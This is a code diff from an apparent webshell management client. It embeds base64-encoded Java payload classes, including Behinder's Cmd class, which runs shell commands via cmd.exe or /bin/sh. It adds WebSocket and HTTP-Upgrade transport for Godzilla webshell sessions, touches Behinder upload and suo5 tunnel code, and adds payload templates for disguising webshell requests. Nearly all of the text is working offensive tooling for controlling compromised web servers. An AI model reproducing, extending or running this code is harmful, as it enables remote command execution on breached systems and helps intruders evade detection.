ABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYADi0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAKAIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYABgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUHAGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIAFhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAGAEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcAYQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==";
238
501
  var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
@@ -521,6 +784,20 @@ function postRaw(url, body, options = {}) {
521
784
  return new Promise((resolve2, reject) => {
522
785
  const started = Date.now();
523
786
  const transport = isHttps ? https : http;
787
+ const onResponse = (res) => {
788
+ const chunks = [];
789
+ res.on("data", (chunk) => chunks.push(chunk));
790
+ res.on(
791
+ "end",
792
+ () => resolve2({
793
+ status: res.statusCode ?? 0,
794
+ headers: res.headers,
795
+ body: Buffer.concat(chunks),
796
+ durationMs: Date.now() - started
797
+ })
798
+ );
799
+ res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
800
+ };
524
801
  const req = transport.request(
525
802
  {
526
803
  method: "POST",
@@ -538,21 +815,9 @@ function postRaw(url, body, options = {}) {
538
815
  timeout: timeoutMs,
539
816
  ...isHttps && insecure ? { rejectUnauthorized: false } : {}
540
817
  },
541
- (res) => {
542
- const chunks = [];
543
- res.on("data", (chunk) => chunks.push(chunk));
544
- res.on(
545
- "end",
546
- () => resolve2({
547
- status: res.statusCode ?? 0,
548
- headers: res.headers,
549
- body: Buffer.concat(chunks),
550
- durationMs: Date.now() - started
551
- })
552
- );
553
- res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
554
- }
818
+ onResponse
555
819
  );
820
+ req.on("upgrade", onResponse);
556
821
  req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
557
822
  req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
558
823
  req.write(body);
@@ -978,6 +1243,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
978
1243
 
979
1244
  // src/connect/godzilla.ts
980
1245
  import iconv from "iconv-lite";
1246
+
1247
+ // src/connect/websocket.ts
1248
+ import WebSocket from "ws";
1249
+ function isWebSocketUrl(url) {
1250
+ return /^wss?:\/\//i.test(url);
1251
+ }
1252
+ function requestWebSocket(url, body, options = {}) {
1253
+ let target;
1254
+ try {
1255
+ target = new URL(url);
1256
+ } catch {
1257
+ return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
1258
+ }
1259
+ if (target.protocol !== "ws:" && target.protocol !== "wss:") {
1260
+ return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
1261
+ }
1262
+ const timeoutMs = options.timeoutMs ?? 3e4;
1263
+ return new Promise((resolve2, reject) => {
1264
+ const socket = new WebSocket(target, {
1265
+ headers: buildHeaders({}, options),
1266
+ handshakeTimeout: timeoutMs,
1267
+ rejectUnauthorized: !options.insecure,
1268
+ perMessageDeflate: false,
1269
+ maxPayload: 256 * 1024 * 1024
1270
+ });
1271
+ let timer;
1272
+ let settled = false;
1273
+ const finish = (error, result) => {
1274
+ if (settled) return;
1275
+ settled = true;
1276
+ if (timer) clearTimeout(timer);
1277
+ timer = void 0;
1278
+ socket.removeAllListeners();
1279
+ if (error) reject(error);
1280
+ else resolve2(result);
1281
+ socket.close();
1282
+ };
1283
+ timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
1284
+ socket.once("open", () => socket.send(body));
1285
+ socket.on("message", (data, isBinary) => {
1286
+ finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
1287
+ });
1288
+ socket.once("close", () => finish(new Error("WebSocket closed without a response")));
1289
+ socket.once("error", (error) => finish(error));
1290
+ socket.once("unexpected-response", (_request, response) => {
1291
+ finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
1292
+ });
1293
+ });
1294
+ }
1295
+
1296
+ // src/connect/godzilla.ts
981
1297
  function serializeParams(params) {
982
1298
  const parts = [];
983
1299
  for (const [key, value] of params) {
@@ -1024,7 +1340,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1024
1340
  const left = wrapper.slice(0, 16);
1025
1341
  const right = wrapper.slice(16);
1026
1342
  const baseHeaders = buildHeaders(
1027
- { "Content-Type": "application/x-www-form-urlencoded" },
1343
+ {
1344
+ "Content-Type": "application/x-www-form-urlencoded",
1345
+ ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
1346
+ },
1028
1347
  options
1029
1348
  );
1030
1349
  const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1032,14 +1351,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1032
1351
  timeoutMs: options.timeoutMs,
1033
1352
  insecure: options.insecure
1034
1353
  });
1035
- const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1036
- const cookies = extractCookies(initResponse.headers);
1037
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1354
+ let cookie;
1355
+ if (isWebSocketUrl(url)) {
1356
+ await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
1357
+ } else {
1358
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1359
+ const cookies = extractCookies(initResponse.headers);
1360
+ cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1361
+ }
1038
1362
  return {
1039
1363
  async callMethod(methodName, extraParams = []) {
1040
1364
  const callData = gzip(
1041
1365
  serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1042
1366
  );
1367
+ if (isWebSocketUrl(url)) {
1368
+ const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
1369
+ try {
1370
+ return gunzipLenient(aesEcbDecrypt(response, xc));
1371
+ } catch {
1372
+ throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
1373
+ }
1374
+ }
1043
1375
  const res = await post(callData, cookie);
1044
1376
  const text = res.body.toString("latin1");
1045
1377
  const leftIdx = text.indexOf(left);
@@ -1505,9 +1837,16 @@ async function testSuo5(url, options = {}) {
1505
1837
  import { randomInt as randomInt2 } from "crypto";
1506
1838
 
1507
1839
  // src/core/site-profile.ts
1508
- import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
1840
+ import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
1509
1841
  import { homedir as homedir2 } from "os";
1510
1842
  import { join as join2 } from "path";
1843
+ function inferBodyTemplateContentType(bodyTemplate) {
1844
+ const t = bodyTemplate.trimStart();
1845
+ if (t.startsWith("--")) return "multipart/form-data";
1846
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
1847
+ if (t.startsWith("<")) return "text/xml";
1848
+ return null;
1849
+ }
1511
1850
  function profileTemplates(profile) {
1512
1851
  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1513
1852
  return profile.templates;
@@ -1538,6 +1877,7 @@ function pickRequestShape(requests) {
1538
1877
  return requests[requests.length - 1];
1539
1878
  }
1540
1879
  var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1880
+ var PAYLOAD_PLACEHOLDER = "{{payload}}";
1541
1881
  function profilesDir() {
1542
1882
  const override = process.env.MEMPARTY_PROFILES;
1543
1883
  return override ? override : join2(homedir2(), ".memparty", "profiles");
@@ -1559,8 +1899,10 @@ function validateProfile(profile) {
1559
1899
  throw new Error("profile needs at least one template (templates[] or legacy template)");
1560
1900
  }
1561
1901
  templates.forEach((t, i) => {
1562
- if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1563
- throw new Error(`templates[${i}].template must be a full HTML page`);
1902
+ if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1903
+ throw new Error(
1904
+ `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
1905
+ );
1564
1906
  }
1565
1907
  if (!t.contentType) {
1566
1908
  throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
@@ -1576,6 +1918,24 @@ function validateProfile(profile) {
1576
1918
  if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
1577
1919
  throw new Error(`request[${ri}].secretIn must be body | query | header`);
1578
1920
  }
1921
+ if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
1922
+ throw new Error(`request[${ri}].bodyStyle must be form | json`);
1923
+ }
1924
+ if (req.bodyTemplate !== void 0) {
1925
+ if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
1926
